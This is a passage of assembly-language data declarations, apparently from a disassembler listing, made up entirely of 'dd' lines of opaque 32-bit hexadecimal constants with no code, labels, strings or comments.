		dd 13522564h, 0AC1D03FFh, 2102B81Fh, 890A4776h,	4AFE68h
		dd 4672C2F4h, 9CAC7973h, 0BA1BF800h, 236AAD02h,	15353039h
		dd 88250CB1h, 693DCB30h, 0C65E5Dh, 0DE403AA3h, 0A9D73943h
		dd 6CC5D900h, 65192B8Eh, 3EA8019Bh, 85DF714Eh, 5BB041DDh
		dd 77AC4C05h, 3007D300h, 6A0241ECh, 970003Ch, 3FD945F9h
		dd 0FD0E0193h, 0E2D86DB2h, 90C20510h, 72BF8B8Ch, 95E104D5h
		dd 8826A9F2h, 170A0530h, 94931BAEh, 2D120680h, 121A0DE8h
		dd 967639h, 169B9AA4h, 0A8A407C8h, 79E89300h, 5D664F46h
		dd 9C892C9Dh, 5902330h,	1D941FAEh, 40E8A42Ch, 6509DF9Eh
		dd 0BFC43501h, 5607DB0h, 70CEC40h, 9A2B3139h, 0F24A0FB9h
		dd 4E49346Ch, 0EABE1EB0h, 46042153h, 88CE7EFh, 0B87A48F3h
		dd 31A97D06h, 1C00E92Fh, 1D5DF7B5h, 12C348FFh, 30FBB1FDh
		dd 52B994F4h, 5AF8A1C3h, 0F2DFD9D5h, 5DA0C06Bh,	600EB12h
		dd 0FB6E9FD2h, 5339552Dh, 5301F824h, 832BBFEEh,	0CAE8DF72h
		dd 0A0006B1h, 8F7D7567h, 0FF44631h, 0FFC37863h,	0A8E62098h
		dd 9F934A0Bh, 0D207804Eh, 0CA63E0Fh, 3878F23Ah,	0B03A940h
		dd 0AD7BD34Ah, 4C98D02Ch, 4D738Ah, 0A715D410h, 0CF7406ECh
		dd 3D63B400h, 48E369EDh, 52BB00E9h, 20A6EB10h, 6000E519h
		dd 0ADEADA08h, 0C0D6F236h, 210EAF61h, 0C3007B02h, 53E67E7Ch
		dd 0C07AEFF4h, 7705FA21h, 10E6BFECh, 6C175900h,	0D8D10460h
		dd 0F46415B0h, 0B007076h, 378E9EAh, 5E143E98h, 84C9B2h
		dd 132F4353h, 9067CB2Dh, 65F10E98h, 3DC3C116h, 29154D8Ch
		dd 789CC3EFh, 0C1E0051Ch, 0B5F65D40h, 7D69EEh, 0B0E16ED1h
		dd 0AC995B6h, 0A9D70F30h, 15C1BEAh, 0E4B1DAEDh,	0D29BCD48h
		dd 0FE22B4A0h, 40003D8Ch, 861B55B8h, 0FB05E771h, 0DCB9A16Fh
		dd 0CA29CC31h, 7885A074h, 0D4200206h, 315B77Ah,	8CC867E2h
		dd 0B100D969h, 391FE5E4h, 7BB1BCAh, 935814A0h, 6A4B0024h
		dd 52120319h, 0C40CBEEh, 2A56F25Ah, 0CFFE11h, 635CDA71h
		dd 0EF5B5721h, 3779BB12h, 9ACC0440h, 0D35C6h, 992A7C9h
		dd 0DA6A73C4h, 648B79C0h, 3E57AD32h, 35BD05E0h,	3B10B480h
		dd 7B7CB7ABh, 6AC85C50h, 0B0093902h, 80437322h,	0BC01CA94h
		dd 74080098h, 1B80966Eh, 59C0BF7Ah, 9F9DC0E1h, 0CAED0073h
		dd 0BAA2145Bh, 0C929A7Ch, 0CCDC6A03h, 0EB7F5C65h, 0C078C03Ah
		dd 994A8F2h, 87C9123h, 346076CEh, 64CEEEAh, 5E39E5F3h
		dd 4A007147h, 0D39AF1EFh, 0A0D5D6h, 0B4AD9B37h,	0BCB54E28h
		dd 0A0F1490h, 0ACCE6484h, 903F690Bh, 0F38100E5h, 68F6B473h
		dd 58BD49D9h, 0AE0E0777h, 20C34F9Bh, 3BF8A5F4h,	7520F9C5h
		dd 0B4A1F030h, 0F8B00C36h, 1120056Fh, 42974100h, 0EE239A1Ch
		dd 0E029D557h, 3F731D83h, 6BE25100h, 0E5E38E34h, 0CEBA0016h
		dd 0EDE8097Ch, 3F0095A1h, 4B72E22h, 9818AA5h, 230BA301h
		dd 3773AC10h, 7F8749C0h, 3ED6A627h, 300ADF0h, 1B768DC9h
		dd 7131EC80h, 0AA162939h, 0EED9C6E4h, 9EF700ABh, 49E1A8D3h
		dd 0EB2A1F1Ah, 0EF307CADh
		dd 3F7669D0h, 29CE0741h, 0D76A8723h, 9D2891B9h,	183752h
		dd 1C9002F4h, 24B08267h, 47A023EAh, 0B3F74007h,	19FC72EBh
		dd 0CB00607Bh, 0C392610Dh, 79A989h, 145AB8F2h, 0E7CBBCEh
		dd 618E748h, 0FA4C49A5h, 7C244C48h, 6AFEBC83h, 21729998h
		dd 7D79850Ah, 46EFB49Ch, 4831F6EFh, 2F807C77h, 47F89F67h
		dd 16830E00h, 5965E08Fh, 0A5143D6Eh, 0A3CE6982h, 7064EFE8h
		dd 21CA2900h, 42527694h, 989A0Ch, 0A69BEF3Eh, 0C829E9D4h
		dd 0B866F3Dh, 83E8A951h, 0B198DB7Dh, 8DDC4462h,	286F6717h
		dd 0FD15A0B5h, 0B8074E8Ah, 0D9F648BBh, 1EE402E0h, 0A6530368h
		dd 0DCBAEA93h, 0EDD43103h, 96BCE525h, 690B0011h, 40E1629Fh
		dd 0DF1E5FD0h, 798032A9h, 64930755h, 16840019h,	0F85E6671h
		dd 72F6EAA2h, 0D256C14h, 1F03C44h, 32AE360Ah, 0C7FC238Ah
		dd 633900FEh, 57BA56FBh, 7F008D05h, 0BFA27652h,	0FC6DEF15h
		dd 0B09A00DAh, 0E9F0D4B4h, 0CA006E55h, 91A1ABDBh, 0A66AF7h
		dd 187F7212h, 4BE94EE7h, 45D9800h, 7CA8EF6h, 29FA00B7h
		dd 37ED1293h, 7C03452Bh, 756FA2BEh, 0E9581DAEh,	0AC6A9Ch
		dd 43E6DF65h, 0F24CED86h, 0DE093Bh, 6402B32h, 34A2CCh
		dd 3E3FF46Ah, 0F6BAA602h, 0C3A185E3h, 60238DAFh, 11F20085h
		dd 409652Bh, 6E542CB6h,	94FC3488h, 925051E5h, 0D9180B4h
		dd 353D9D33h, 98A60C9Fh, 26A1A02Dh, 3E41A360h, 732C49F8h
		dd 0FFDC3E4Ah, 0CA364200h, 0A77F5A4h, 11F0D156h, 0AD006F18h
		dd 0BDC188F2h, 2624F0F6h, 0E60096EDh, 0BA04E8E7h, 0A1FCA4EEh
		dd 789DA895h, 243A006Dh, 7FD6028Eh, 8F5DE603h, 809DDB2Dh
		dd 6037BC70h, 728961E9h, 0F5489666h, 0ECF9CA04h, 10FC75E0h
		dd 0F1BC6069h, 0F572D89h, 0B0BA6600h, 6BCB1D0Ah, 96ED00EEh
		dd 80DABE54h, 6467C6DFh, 2033EFF8h, 0B97128A1h,	98590058h
		dd 0CF5F1BC3h, 30E9423h, 8FF09FF3h, 6381A12Dh, 8C5DD025h
		dd 84616FC9h, 0C1904403h, 118AB873h, 80BCB09Ch,	10C5A0A4h
		dd 97CF638h, 46198F60h,	0ACA38Bh, 72BBC4CBh, 4EC0694Ch
		dd 0F8AF8500h, 0D9DFB1B6h, 31A3679Bh, 321E905Bh, 887F827Dh
		dd 0B0190800h, 75F8F6F7h, 297B312Fh, 87A2EE0h, 393092F2h
		dd 84001816h, 0BF9CA5D3h, 112BB6D5h, 150014A4h,	1DA51A99h
		dd 0D60B01E8h, 592D225Ah, 0E77C2051h, 0B79222h,	0B23C7BF2h
		dd 670F49AAh, 0A871C00h, 42EF8932h, 30A80FD4h, 6C83D274h
		dd 96D85C5Ah, 69C09EB9h, 0FD592125h, 0E27453h, 0AB1DB577h
		dd 0CDBD5E8h, 82DC2C00h, 0DAE6F6EAh, 0F7BF0169h, 5510D140h
		dd 6D2D0B9h, 116F4CF0h,	0E33FE008h, 3DC5E0h, 0B053DEE5h
		dd 4901F450h, 36BA3Bh, 0D008E2EFh, 6432E10h, 305E2B8Fh
		dd 830048CBh, 0C63A9B1h, 558B34Eh, 331CA63Ch, 258B0088h
		dd 2D77C7D5h, 43046C00h, 0D9E2E502h, 0E6AA017Ah, 3834FC09h
		dd 77898667h, 505922D0h, 354D3h, 1A388E96h, 0EC87C3B4h
		dd 2BB9CC00h, 0B173E788h, 441D1786h, 0B64307B3h, 3D10F193h
		dd 417EDBD2h, 9CFF6E00h, 68133AD6h, 6CE2B3h, 8192843h
		dd 0D3C6C126h, 8C1E8601h, 0B9DE0158h, 0D2900ECFh, 3BE090D5h
		dd 0DCF7F959h, 54CAA001h, 0DD6B0533h, 783FE3F7h, 0F9C50028h
		dd 78D84C64h, 0A5F48BB7h, 1F3CE100h, 7111E3E9h,	365215C1h
		dd 0B6228081h, 3366DF03h, 0D9F286BCh, 6BEC0208h, 0DD7F05DEh
		dd 634FCA0Bh, 28D8E6E0h, 0BA1C545Dh, 0E1453687h, 602331BBh
		dd 3416D06Bh, 0AC5A5439h, 0C049032h, 80C808E0h,	0E8452681h
		dd 7C94A9F0h, 7B5007B8h, 0C71DA2C9h, 545293E4h,	395FE118h
		dd 310608h, 81507C64h, 0CD4BA2FDh, 60B9EA3Ch, 71120A29h
		dd 6A40753h, 1335AA91h,	89007D4Ch, 0B144D85Dh, 41E80Eh
		dd 59BED31Ah, 2667775Fh, 9645AE00h, 943AE2E9h, 0F25A0CEBh
		dd 2579345Eh, 7CCAC00h,	33051BD4h, 1617B8BAh, 1E2384B4h
		dd 0D23EDD12h, 5F787053h, 380CB2Ah, 0EF3924DBh,	17EC0027h
		dd 574813BFh, 2A295100h, 2D36BE4Bh, 2C1E471h, 3484E669h
		dd 556126E7h, 0B5D2F021h, 66002892h, 0E8CFDAB8h, 247CC598h
		dd 0C0831E2h, 0DFE9825Ah, 0DA0017ECh, 0D4FE27A8h, 0EE3ACAEFh
		dd 76B2F245h, 22EB0F36h, 9CF5B9C1h, 569A8103h, 64B99776h
		dd 0A0827C8h, 8435D478h, 89BAD38Ch, 0DA0B0043h,	784D07AEh
		dd 0C800635Bh, 24A2F3DEh, 0C0CCD217h, 8E2E4C29h, 2A0016D1h
		dd 9DC70EFAh, 3E581D17h, 98098A02h, 8831A734h, 8048D2B9h
		dd 587CDFA0h, 6B5A2F00h, 6111B1B3h, 41798E7h, 9C79D9BDh
		dd 5510CC4Eh, 79C2B431h, 8C40CB68h, 247AFB66h, 8738E7DEh
		dd 801007B9h, 0ACC7B233h, 0FA5CE201h, 56D2D743h, 50FFB901h
		dd 4CB77A8Ch, 8B81A800h, 53CC1103h, 0DFB4A8CAh,	73F870h
		dd 7244B742h, 69E89B80h, 0DC32CA0Eh, 5F4EC485h,	3222088h
		dd 963DA8C5h, 0F8985746h, 0FF14336Ch, 0AE07929h, 0B8143EEEh
		dd 4EF6B906h, 365F3081h, 29FEF941h, 1B48A224h, 0BED07400h
		dd 0B8BD8F78h, 65A00503h, 450D25Fh, 80A90DF0h, 62C53224h
		dd 59931C0Eh, 0E7E1E434h, 0A2AC3480h, 77C11221h, 48AC207Ch
		dd 20927A5Bh, 26B023E9h, 0F000B844h, 9855513Dh,	0BC360328h
		dd 0B9BE69E7h, 303A9CEh, 6F8F59EDh, 515BD017h, 78611E98h
		dd 3B0C8405h, 0E6D8D006h, 700E0DBh, 51E29D20h, 3E3A1E39h
		dd 13780C22h, 33EA6D2h,	0CAF15F18h, 1D3F9839h, 3EFE021Fh
		dd 0DB3B802Ah, 0C9EF1A4Ch, 0B17B00EBh, 2130FBD3h, 5524D2D5h
		dd 0DB6500BFh, 463E420h, 67010197h, 0C29F6A30h,	0C0182411h
		dd 50BACF44h, 545F68F4h, 0F68C3Bh, 38F57CFDh, 0B92F09FAh
		dd 0A8D53614h, 509976B0h, 83E7F300h, 71EBD7h, 0F1AA23A2h
		dd 3C920A6Ah, 0AC5C4C2Ah, 44A66600h, 99A1B761h,	108498F2h
		dd 24C29Dh, 0E867BE1Ah,	28E03365h, 1C4BFBh, 0CB8BA5Bh
		dd 0A1C56430h, 13A83A52h, 30402F5Fh, 368ADCFCh,	0ACDE029Bh
		dd 0FF9122A0h, 0B48BC057h, 411A1FFEh, 0D1D8B038h, 3403E006h
		dd 78B8DC55h, 4CC3BF31h, 0D6710083h, 8C9E7690h,	6A00C36Dh
		dd 2829A4E3h, 0EA703327h, 125893BEh, 0A5B0066Ah, 0D604C8AEh
		dd 3237C534h, 0DC8C80C4h, 1EFE00C8h, 0D0FD7E8Dh, 340586ADh
		dd 0CD22AEEDh, 7FBA2C80h, 59060063h, 0B2E76AE5h, 744D1D26h
		dd 0AD187E88h, 0DE706836h, 877270h, 0BADFE7EDh,	0DA41C86Bh
		dd 17283552h, 6B138B84h, 4B9BFB00h, 0A18575h, 51AE44E8h
		dd 10C61BAAh, 3626A200h, 81B99A76h, 5180A86Eh, 7909837h
		dd 3D474E66h, 4335C0E1h, 0F8A271A4h, 0F6A09C46h, 33721B44h
		dd 0DE704906h, 0F0DF82h, 2E0EC1B3h, 0FCB23AEAh,	963D2891h
		dd 49187055h, 143E7F7Ch, 945E32A3h, 92CEE980h, 2A00E677h
		dd 0D40DF0F6h, 24C6D51h, 0DBE72CCCh, 5444BAEAh,	0A1490500h
		dd 0DAF1B897h, 9F96001Ch, 87E308C1h, 0B8B82BEFh, 4457CA44h
		dd 0F600397Dh, 4BB510B2h, 8E9C43h, 940F9B1Bh, 0A5D8FC44h
		dd 612BC02h, 0C4B25532h, 90BA1A3Ch, 0E86079FBh,	6B4812A3h
		dd 4F4D0088h, 997DC125h, 583F00F5h, 51B76DABh, 5BE8B813h
		dd 66BAFA00h, 0AC483EAEh, 0E5602CD9h, 4B9A1349h, 0A78004C8h
		dd 0E30BB030h, 27204C98h, 24E001CBh, 0F44D15DAh, 1EB822BAh
		dd 728FF3C9h, 0ECA360F9h, 31D8E87h, 0FBCF94D6h,	0D9C89931h
		dd 0F13069E3h, 0F34068B3h, 0B9A6040Eh, 0C099584Bh, 3AD37797h
		dd 0D543BCA8h, 0EDE9150Fh
		dd 0EDE58F32h, 0EAC0F9B3h, 0FDFCE2h, 911EE7C0h,	0B71BD846h
		dd 0A0F80517h, 3AFD0Fh,	31C4959Eh, 0FB10001Eh, 0A6CDFE6Ch
		dd 49C0B7D1h, 0D9E63376h, 0B01C0049h, 57D6AB8h,	0C4FCF2CBh
		dd 4CC15906h, 3A83997h,	51FBE9FAh, 19258834h, 20282FD1h
		dd 7E7F32F7h, 0D9C50157h, 7AFF3AD8h, 4B8C2060h,	552FED01h
		dd 0E5D19A8Eh, 0D8737C50h, 4894FE4Dh, 8A00FC2Bh, 0E544E783h
		dd 8E1C4B0Ah, 0E4C724DDh, 3A206F9Ah, 50872820h,	495A0C7Bh
		dd 103E2084h, 0A1E2B000h, 70166E8Bh, 7B0067FEh,	0B56B3713h
		dd 4D32C2D9h, 0B9186CBDh, 2FD239FBh, 76DBA00h, 116886E7h
		dd 0BE03357Bh, 55D585D8h, 5D80B050h, 0C1E267B6h, 58DD8401h
		dd 0D308AB5Eh, 6F393088h, 3086778Bh, 92FA4C64h,	95644D4h
		dd 0CD75BC00h, 3E7E6F77h, 7C417DE3h, 985002DFh,	0BB0BDE4Dh
		dd 0EB9DC48h, 0CB15577h, 69774C0Ch, 6CDD01C3h, 0B3F3AE0Bh
		dd 2D5D603Fh, 4D19E100h, 0C20EB1BAh, 0E0571D2Fh, 71BD290h
		dd 3511D2F2h, 78A00869h, 994C5787h, 8DE3B2F0h, 0B802005Dh
		dd 185BA0A7h, 0F531B907h, 8655B9FCh, 0FB0A6863h, 82AC698Ah
		dd 18FB947h, 0AB815522h, 14C0980h, 3C6607E8h, 8100BC63h
		dd 2164F37Dh, 0B84C93E3h, 0DD90248h, 80566B1Ch,	5F69DE9Ch
		dd 1249C037h, 0AC9DBF3h, 960973Ch, 80B0C870h, 980748A0h
		dd 20C14A2Ch, 3CBC51BCh, 7AD77900h, 4C18E6CCh, 16F5132Ch
		dd 5FC80F24h, 35E959F8h, 727FBB00h, 368142EDh, 0BDF331A3h
		dd 1558EEF8h, 4F039C8Ch, 334DF049h, 8E0EBC90h, 841E3C3Bh
		dd 0E4C0C7DCh, 48BA520Bh, 37842407h, 20FD2276h,	27B07001h
		dd 61DA0501h, 0BDE5EABCh, 336891h, 0D1CA9EB1h, 484B4665h
		dd 241E697Bh, 49664039h, 535CB199h, 0BB34C950h,	705422h
		dd 0A1AA58Fh, 0B91BADDAh, 0E6475C96h, 4000C024h, 0D9BC8618h
		dd 0DAFC44FAh, 78772F0Ch, 37358132h, 0A7517441h, 427C90E7h
		dd 0AF04939Fh, 0C8683A48h, 6DA234D0h, 85FB3D84h, 12610179h
		dd 0B347757Ah, 0B29D306Ah, 0EB022FE8h, 319A3E42h, 15D8E5h
		dd 0F3D90903h, 0D487812Bh, 0FD643701h, 0E483B311h, 84B92C60h
		dd 36147700h, 922CAF7h,	68D300FEh, 0A9731DF6h, 0DC0031A4h
		dd 98E67DBAh, 0A4D633D9h, 0E7F24B4h, 4C761D77h,	0EED1205Ah
		dd 6F039D7Bh, 5DF36A19h, 5CEB8CDh, 55F93E7Ah, 46B38300h
		dd 4EEA189Ch, 80B9DE24h, 0BC954F41h, 0D400EA47h, 0A34E632h
		dd 3D5EC72Ah, 0EEFA879Ch, 99540F7h, 7F028732h, 0EDEAE7BBh
		dd 0FC1048E2h, 44008651h, 93C0AF34h, 0B89F6CE9h, 0A0BFF63Ah
		dd 21ED308h, 56B24BC7h,	1C83BB53h, 7D8B6EC1h, 36DC92FDh
		dd 0E2738100h, 0BA64933Fh, 42CF784Ch, 20C30DA2h, 0B3223850h
		dd 675EB0C4h, 809FE957h, 0A15638A3h, 56C8200h, 1D767889h
		dd 676301F5h, 0B8349E2Ah, 0E168FCE7h, 0DF440500h, 0A25A5D51h
		dd 60D2EA47h, 6AE359CEh, 2B071EECh, 10CBFD2Eh, 5D99B660h
		dd 7F770933h, 8C48BADDh, 63002C4Dh, 0D34CCE16h,	12B8FC6Ah
		dd 0D05FE38Dh, 1D4A51F8h, 41008073h, 0AF24F412h, 174DE61Fh
		dd 20DEE4D3h, 84C29E6Ch, 931D004h, 0D0F4D578h, 99AB60D3h
		dd 3C2E1E72h, 1F434F00h, 2DD07E19h, 29D00EAh, 70DD7779h
		dd 0BA294481h, 863EA0FCh, 7081222h, 4AE811h, 0A586330Ah
		dd 62C5773Ch, 42BCF4A8h, 9C9B9600h, 0E772C2A4h,	709402B6h
		dd 7B78996Fh, 430B10C4h, 8001D974h, 0D6E611E7h,	718EFF5Ah
		dd 6E80BED4h, 0F90F97E9h, 9E62107h, 4490EDBAh, 482FE16Ah
		dd 1E0018B1h, 772559F6h, 6E389E53h, 0FAA682E3h,	0E1C4D44Ah
		dd 0DC33B89Ch, 19C51100h, 967D42E3h, 0CCDF9E0Bh, 8E1803BCh
		dd 298ED2h, 5D6567EAh, 0C7AF5F58h, 0D9260100h, 1E57DB95h
		dd 0DF7F2489h, 0F4080968h, 20F3342Fh, 35DDE6C0h, 9C20C14Bh
		dd 1136D40h, 8EB14DEh, 0DC793A2Eh, 0BF71E41Ah, 0D443A903h
		dd 0E8E3963Fh, 58DBE58Ch, 0FB80F04Bh, 0BCD59BD1h, 0EB6F5204h
		dd 1CC0316Eh, 5CD037EEh, 600134FEh, 0BAE89773h,	26843259h
		dd 1C1280D9h, 68D1A491h, 895C7C60h, 69C6FC5Dh, 0FF2EE17Eh
		dd 3113BECAh, 12A01C54h, 0EC227E77h, 483C52D3h,	48005726h
		dd 0FD1C9ED0h, 824AEF69h, 0B76BF401h, 40284746h, 3922A848h
		dd 115AD711h, 5CBE8A0Fh, 0EDE2D1E0h, 0E800F5CEh, 9EF16E38h
		dd 349DAAB1h, 0C75029FEh, 8444E8FCh, 765FCA40h,	0D300C518h
		dd 89A57EA8h, 130749E5h, 449DF315h, 32520834h, 0FCE4D3h
		dd 0BCFF0E5Bh, 0F185C112h, 81DF6D12h, 85420409h, 9827B693h
		dd 0D25CA4DBh, 4C2E10B4h, 0C40DCB1h, 0FD49057Fh, 0CCE314D1h
		dd 0A400D8C8h, 0C89798CAh, 0DC0F83h, 3704E620h,	771BDDF0h
		dd 903AD22Eh, 20C19F64h, 0B472DB6Ah, 8780079h, 0CF97406Fh
		dd 4400F3E7h, 0C0E00EB3h, 48556E81h, 4C89E4B9h,	0C59C9810h
		dd 0EE2C1800h, 4161D8EAh, 9E970405h, 88468728h,	0F85ABA80h
		dd 2738E422h, 9FC5025h,	0CC048214h, 3365C8C4h, 0C60018E2h
		dd 9E492C8Ch, 0C3092703h, 0C5F5BA34h, 0FECA0FD0h, 84765BC0h
		dd 3E0F808Dh, 227F3FA3h, 21FBAF42h, 0BEC17B87h,	9A860491h
		dd 78E45AE2h, 7E9897h, 771FA08h, 3BFB9223h, 38E11701h
		dd 60959AF7h, 5D0EB439h, 0F140796Ah, 27BECD26h,	76C8E300h
		dd 0ACFF313Dh, 47371475h, 0CA238402h, 61188027h, 29E528h
		dd 0E631B14Ah, 6851D542h, 3200DA70h, 72B286BDh,	0A4BE0208h
		dd 0F4F65CA0h, 2FC086C8h, 28A9367Bh, 5E702608h,	0E50C20BFh
		dd 302695Fh, 0FF89ED7Fh, 58C0D593h, 0B400F944h,	68F3BB6h
		dd 2C77C2F4h, 6BC09F1h,	4170EEBAh, 5EB60202h, 43228D4Ah
		dd 0B06E54B0h, 71B860D3h, 96CD6044h, 8ADDED00h,	0B52AB36Ah
		dd 63A80F0Ah, 0BD2543EBh, 508885Fh, 4D84A307h, 13614603h
		dd 90DC3FAAh, 0C8C60008h, 0C7298CE6h, 2DF1757Bh, 0FAF41820h
		dd 79EE91h, 0DBE79ABEh,	85DDAC35h, 0E8AE8B00h, 0CB0D3DDAh
		dd 10D13B36h, 0A0413485h, 0FB884808h, 856E5980h, 147C9435h
		dd 9C0B6536h, 0A1DD121h, 0C27020h, 136F587h, 3E049FABh
		dd 0EAF9F100h, 0AE0C57C5h, 0FF8013A3h, 7D1488E9h, 44508400h
		dd 0B52FE099h, 3E877636h, 581C121h, 2AF76A6Bh, 1BC78E8h
		dd 46075042h, 6430C93Ah, 0A6580081h, 51E0FA39h,	0D807C6BDh
		dd 71924B7Dh, 0CFD3583h, 0AC80BA11h, 2E0C3229h,	0C1CD5033h
		dd 0E5BB1352h, 842C1CE2h, 0C58AB42Ch, 35809824h, 31C93630h
		dd 248D817Dh, 0C38733Eh, 0B1191E5Bh, 17BC7B00h,	5D52A4FFh
		dd 280B0042h, 0DE0E8983h, 0A72EC015h, 6B404481h, 0B4DBC7A3h
		dd 956A4058h, 4600C493h, 1150EBCBh, 21E2752Dh, 833F5E32h
		dd 0C130C552h, 9D4AE0D7h, 0F9E70E94h, 8960B0A1h, 5541A4E6h
		dd 0B0BDBA2Ah, 0DA179B80h, 69AA0335h, 8D79EC00h, 0A10D526h
		dd 0D186E1C3h, 0C9380408h, 8804848Fh, 970D32B0h, 3CA2E2E1h
		dd 1900D022h, 41AC424Eh, 680FF8D6h, 0CCE613ECh,	2EF521B9h
		dd 24D326h, 76091A82h, 985C23B3h, 0CF02E80h, 8443059Fh
		dd 0FB436B25h, 0A989888Fh, 0EE9C0066h, 3A9AFEC2h, 7339CAFDh
		dd 97B08903h, 0C130C8D1h, 11D01F35h, 0DD3807F1h, 7330C09Ah
		dd 0AA075329h, 0C779DCB8h, 2E6AB5A0h, 0C98202D1h, 92383490h
		dd 50E1E464h, 0F9204E88h, 0C4E97101h, 0CC0DC326h, 797E5E4h
		dd 0E3BA3AEDh, 0FD90A0D6h, 0C259711Bh, 55CA0F34h, 5430F3B2h
		dd 10ABDEEh, 0E2808171h
		dd 0FE957B29h, 4334C840h, 2009DA24h, 0B32EE80h,	7AAAD6h
		dd 939B6E5Dh, 0FA846FB0h, 0D4081100h, 0A724D7C8h, 6E0A0046h
		dd 691C37A0h, 0A60E2173h, 323482A8h, 80014830h,	9EED13B8h
		dd 22F45D3Eh, 0C7090A00h, 5BB4E820h, 4A602A2h, 2D34C422h
		dd 7D100479h, 0ED80D780h, 0CC159246h, 6900710h,	0E067526Bh
		dd 962C0030h, 41278D9Bh, 0B4033F77h, 3A34E3B9h,	3251250Ah
		dd 0C3558410h, 0C076CD00h, 802D62B5h, 4230035Dh, 7CAAE0CCh
		dd 6B31D4B0h, 0A527F000h, 0E5094792h, 5A9D278Fh, 0E6564821h
		dd 0BF5F036h, 20E7D70Fh, 7F84E9Ch, 1ED1285Ch, 0B860BF9Ah
		dd 883B755Fh, 46060B3h,	4FE7AC58h, 11557431h, 64F7B89Eh
		dd 0C8C859D8h, 0A7094C0Dh, 0A3570A00h, 176DE079h, 691ECD0Bh
		dd 12AC66F0h, 208696C6h, 2D02CB0h, 0E2CB87Ch, 69005C89h
		dd 0E24B5943h, 38331537h, 6A00A4ACh, 0A59F0487h, 0D8A06564h
		dd 448A3C12h, 192C01F4h, 0C2E77E7Bh, 7C1FD833h,	60DDAB00h
		dd 0F451B335h, 0EE423E18h, 94C20283h, 8900C31Eh, 0FBA83DFFh
		dd 17F4183h, 89C7073Ch,	20D9C15Eh, 3094265Ch, 0DDE3BC40h
		dd 0D4143BFBh, 0ED5E41E0h, 0DA1F1EA7h, 19C0EEC5h, 20849D27h
		dd 0E66A0066h, 8B6EB068h, 0EA000BD3h, 7F3204F3h, 27972F15h
		dd 0C0B10209h, 2D5C08EDh, 34188711h, 5789720Eh,	0C9E07D13h
		dd 0E4019EF2h, 550E3C4Bh, 2AD8F903h, 0CFD120Dh,	8A8CA4D3h
		dd 0B1378507h, 0B7F02EC5h, 0E09BC910h, 848D1D82h, 0CAA081F4h
		dd 2CD18CD2h, 8C215FF8h, 682A214Fh, 9801E928h, 845142BDh
		dd 1820D0E7h, 90671EBh,	684494ADh, 0E8395C64h, 19ACB042h
		dd 3C33DDE6h, 0E001744Fh, 0B9DACCFBh, 488C62F3h, 48B822C8h
		dd 0F4846C4Ch, 0EEF683C8h, 0C2FE57E8h, 37110C00h, 0C12C9F89h
		dd 73860032h, 5B875A3Bh, 0E70057E4h, 2FCB757Ah,	380115h
		dd 0BB8BFB93h, 5D2B894Ch, 3324C6E4h, 3B1CC8E0h,	0A8BA948Ah
		dd 0C0FB0700h, 1FA21451h, 0DF2AFFh, 0F6613573h,	3624D290h
		dd 3D60B8E4h, 71A4FEFh,	71A04752h, 7D7A51A5h, 80942C82h
		dd 0E5E76B5Ch, 923000CFh, 25B4B586h, 501EBD5h, 0B28B8A9Fh
		dd 0C5F54E9Ah, 7051F980h, 4F63BBFDh, 8C0B1ECh, 15A492F8h
		dd 0F60400B0h, 643C8BC3h, 5A002E40h, 0E3868D6h,	60518D36h
		dd 0A67431B7h, 40C44E1h, 5035CB07h, 19B0F84Eh, 10F62DE4h
		dd 80AFD9F4h, 23CC5B31h, 3936D5EBh, 780D9A1h, 7E04FF88h
		dd 0F8308DF2h, 0CE502967h, 38BC6006h, 782E60A7h, 0B656CD06h
		dd 1F58F8F0h, 806BA24Bh, 511A949Fh, 8A07F12Dh, 6EC88379h
		dd 50B61370h, 1F899869h, 804C6AD8h, 0C3E566EFh,	88007556h
		dd 6DB51719h, 2A2E8F8h,	44603955h, 8CA16936h, 0D048D804h
		dd 0DA01A08Ah, 19C4648Eh, 28C44ABDh, 37CE01CBh,	4ED9AFC9h
		dd 0BBB88050h, 0E8866739h, 51FF3875h, 0CD85BC86h, 0C609893h
		dd 0CCC5F9D1h, 3BAC0F01h, 185DEB29h, 7250416Ah,	5D00E1DEh
		dd 82987C35h, 0F4690AA9h, 80A4B6DEh, 0C068CD52h, 0C8AC359Eh
		dd 93DB3C00h, 0BCF9E580h, 0CD8B14F3h, 5D1E34F1h, 3C991566h
		dd 86513110h, 0F8A10ACEh, 19656134h, 8EF13643h,	20C8F691h
		dd 0FD813CC7h, 5AA6003Bh, 85A7FFCEh, 0EA05BAD8h, 0E64AF36h
		dd 0CCDB000h, 4D7EE98h,	0BC77A0B3h, 0F0E6C0B2h,	0B7003593h
		dd 840272F3h, 0FCF6ACDh, 36C04F91h, 0FCC47E81h,	695AF08Eh
		dd 0C58FD52Eh, 0F4A51400h, 3E28D313h, 0AFA4A15Eh, 0EA23605Ch
		dd 0B41E1E1Bh, 0EFC3D00Ah, 0F9B25354h, 0A850FEAFh, 0EFD26h
		dd 0E1850733h, 5C1C4174h, 8B07A5FEh, 0D9F66835h, 0D8E9C420h
		dd 0CE2E0066h, 0A6AD2F5Ah, 0F37FB79h, 0F0C25243h, 9942C08Dh
		dd 4E4F290Ah, 0D63F0094h, 0A8A7BD39h, 0EBB13518h, 9B5679h
		dd 0D8A49C97h, 0D1951601h, 92476800h, 0A826C40h, 771F0h
		dd 0B5CC79B9h, 4EA85EFCh, 0B6CE3F00h, 6D31120Bh, 0F52C0081h
		dd 0ACA9D6C5h, 0D2A509Eh, 0D818CC5Eh, 7C894C4Eh, 0B2DA020Ah
		dd 28A08648h, 891FC543h, 75076EC9h, 477370F6h, 682FD1AEh
		dd 569239B8h, 3600225Ah, 0BEC60C80h, 0E724D571h, 77416084h
		dd 0B0DF684Dh, 0C055A097h, 22B7C008h, 4F735F71h, 0AF07B205h
		dd 0D040BA50h, 2C386C3Ah, 0A22800C9h, 0D849A367h, 0A8EE6611h
		dd 0A4FD6329h, 0F7735006h, 86D906D9h, 11EF560Fh, 5400707Ch
		dd 0F99916E1h, 3316FDDh, 7DF6E4F8h, 0E912F5AFh,	0EBF0AA3h
		dd 6A40B99Eh, 64FE8CF4h, 79C360C4h, 3EDA4480h, 977017h
		dd 7DB1C5B0h, 0B6D25C57h, 3BE4C167h, 0F83E481Ah, 32B4988Ah
		dd 1C53018Ch, 505258FBh, 0F8BEABh, 7F8EEA82h, 78E355h
		dd 0E5F043DBh, 75652BD6h, 4902A60Eh, 0B0299C47h, 0CE3E4E00h
		dd 0D2D5E8B0h, 3A9609C1h, 82EC010h, 0AEE53Ch, 0D2B10AA1h
		dd 0BFF21Fh, 0A4A6AFC0h, 508C3CCEh, 0F9009CFEh,	0FB69E56h
